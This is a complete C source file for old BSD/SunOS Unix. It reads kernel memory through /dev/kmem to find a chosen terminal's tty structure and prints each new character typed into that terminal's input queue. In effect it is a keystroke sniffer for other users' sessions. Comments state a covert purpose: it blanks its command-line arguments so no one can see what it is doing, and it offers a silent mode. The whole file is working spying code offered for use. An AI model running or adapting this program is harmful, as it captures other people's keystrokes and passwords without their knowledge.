#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>

/**
***	Comments have been added to assist Lory and Rick when they
***	come screaming through my files. Hi Fellas!
**/

/* The following information can be found in /sys/sun/conf.c
 *	device		major	minor	table
 *	ttya-b		 12	0-1	_zs_tty
 *	tty00-0f	 10	0-15	_mti_tty
 *	ttyp0-rf	 20	0-47	_pt_tty
 */
#define	NDZ	2 /*5*/		/* should be gotten from /sys/dev/dz.h	*/
			/* gotten from /sys/OBJ/zs.h  -> NZS */
#define	NDH	1 /*9*/		/* should be gotten from /sys/dev/dh.h	*/
			/* gotten from /sys/OBJ/mti.h  -> NMTI */
#define NPTY	1 /*1*/		/* should be gotten from somewhere...	*/
			/* gotten from /sys/OBJ/pty.h  -> NPTY */
#define	DZ11	12 /*1*/	/* major device number of the dz11	*/
			/* device number for zs */
#define	DH11	10 /*12*/	/* major device number of the dh11	*/
			/* device number for mti */
#define	PTY	20 /*20*/	/* major device number of the pty	*/
			/* device number for pty */
#define	DZ_X	2 /*8*/		/* eight lines per dz11			*/
			/* only two lines */
#define	DH_X	16 /*16*/	/* sixteen lines per dh11		*/
#define PTY_X	48 /*32*/	/* 32 (kludged) lines per pty		*/
			/* 48 (non-kludged) lines */

#undef	major()			/* need to do this because of kernel	*/
#undef	minor()			/* macros used to strip off device #'s  */

static struct nlist nl[2];

static char *name_list[] = {
	/*"_dz_tty" ,*/		/* base address of the dz tty structures*/
	"_zs_ttys",	/* base address of the zs tty structs */
	/*"_dh11" ,*/		/* same for the dh's			*/
	"_mti_tty",	/* same for the mti's */
	/*"_pt_tty" ,*/		/* same for the pty's			*/
	"_pt_tty",	/* same for the pty's */
	0
};

int	silent = 0;		/* Silently. Don't want to see announcements */

main(argc , argv)
char **argv;
int  argc;
{
					/********************************/
	int major;			/* place to hold major #	*/
	int minor;			/* place to hold minor #	*/
	int board_type;			/* tells me which kind of tty   */
	int fd;				/* fd for memory		*/
	long offset;			/* how far into the above tables*/
	struct tty ttyb;		/* place to put the tty buffer	*/
	extern char *calloc();		/* our friend calloc		*/
	char *p;			/* destroy the argv's so noone  */
					/* can see what we are doing	*/
					/********************************/
	int	israw = 0;

	get_args(&major , &minor , argc , argv);
	check_args(major , minor , &board_type , argv);
	get_name_list(board_type , argv);
	open_memory(&fd , argv);
	for (p = argv[1]; *p != '\0'; p++) *p = '\0';
	for (p = argv[2]; *p != '\0'; p++) *p = '\0';
	offset = minor * sizeof(struct tty);
	fflush(stdout);
	fflush(stdout);
	while (1) {
		read_tty(fd , nl[0].n_value , offset , &ttyb);
		if (ttyb.t_flags & (RAW | CBREAK)) {
			if (!israw)
				printf("In RAW mode\n");
			israw = 1;
			fflush(stdout);
			sleep(1);
			continue;
		}
		israw = 0;
		get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
	}
}

/**
***	Much monkeying around was done before I settled on this
***	procedure. I attempted to follow the c_next pointers in
***	the individual cblocks. This is friutless since by  the
***	time we do the second seek and read the information has
***	been whisked away.
***
***	So - The LIMITATIONS of this routine are:
***
***		cannot read from any tty in RAW mode
***		can only snarf first 28 characters (ie
***			the first cblock)
***
***	Nice things about this routine:
***
***		only NEW  characters  are  echoed to the output
***		(eg characters  in the cblock which  have  been
***		seen before are swallowed).
**/

get_clist(fd , cl)
register struct clist *cl;
{
	static char c[CBSIZE];
	static char *old_start = 0 , *old_finish = 0;
	static int  old_i = 0;
	char *pntr;
	int tn , in;

	if ((cl->c_cc > 0) &&
	    ((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
		pntr = c;
		lseek(fd , (long) cl->c_cf , 0);
		read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
		if (old_start == cl->c_cf) {
			in -= old_i;
			pntr += old_i;
		}
		if (in > 0) while (in--) putchar(*(pntr++));
		else if (in < 0) while (in++) putchar('\010');
		old_i = tn;
		old_start = cl->c_cf;
		old_finish = cl->c_cl;
	}
	if (cl->c_cc <= 0) {
		if (old_i != 0) putchar('\n');
		old_start = old_finish = NULL;
		old_i = 0;
	}
	fflush(stdout);
}

/**
***	The rest of the routines are very strait forward and
***	Rick and Lory won't need comments.
**/

read_tty(fd , base , offset , buffer)
long base , offset;
register struct tty *buffer;
{
	register int i;

	lseek(fd , base + offset , 0);
	i = read(fd , buffer , sizeof(struct tty));
	if (i != sizeof(struct tty)) {
		printf("unexpected return from read\n");
		printf("should have been %d\n" , sizeof(struct tty));
		printf("was %d\n" , i);
		exit(0);
	}
}

open_memory(fd , argv)
int *fd;
char **argv;
{
	if ((*fd = open("/dev/kmem" , 0)) < 0) {
		perror(argv[0]);
		exit(0);
	}
}

get_name_list(index,argv)
char **argv;
{
	nl[0].n_name = name_list[index];
	/*nlist("/vmunix" , nl);*/
	nlist("/usr/sys/UOP_SERVER/vmunix" , nl);
	if (! nl[0].n_type) {
		printf("%s: couldn't get name list\n" , argv[0]);
		exit(0);
	}
	if (!silent)
		printf("%s starts at %08x\n" , nl[0].n_name , nl[0].n_value);
}

get_args(major , minor , argc , argv)
int *major , *minor , argc;
char **argv;
{
	int	x;

	if (argc > 4 || argc < 3) {
		printf("%s: arg count\n" , argv[0]);
		exit(0);
	}
	if (argc > 3) {
		if (*(argv[1] + 1) != 's') {
			printf("%s: Bad switch\n", argv[0]);
			exit(0);
		}
		else
			silent++;
		x = 2;
	} else
		x = 1;
	*major = atoi(argv[x]);
	*minor = atoi(argv[x + 1]);

	if (!silent)
		printf("Major Device: %d -- Minor Device: %d\n" ,
		    *major , *minor);
}

check_args(major , minor , board , argv)
char **argv;
int *board;
{
	if (minor < 0) {
bad_minor:	printf("%s: bad minor device number\n" , argv[0]);
		exit(0);
	}
	switch (major) {

	case DZ11:
			if (minor >= NDZ * DZ_X) goto bad_minor;
			if (!silent)
				printf("DZ11 - Unit %d\n" , minor / DZ_X);
			*board = 0;
			break;

	case DH11:
			if (minor >= NDH * DH_X) goto bad_minor;
			if (!silent)
				printf("DH11 - Unit %d\n" , minor / DH_X);
			*board = 1;
			break;
	case PTY:
			if (minor >= NPTY * PTY_X) goto bad_minor;
			if (!silent)
				printf("PTY - Unit %d\n" , minor / PTY_X);
			*board = 2;
			break;
	default:
			printf("%s: Bad major device number\n", argv[0]);
			exit(0);
	}
}


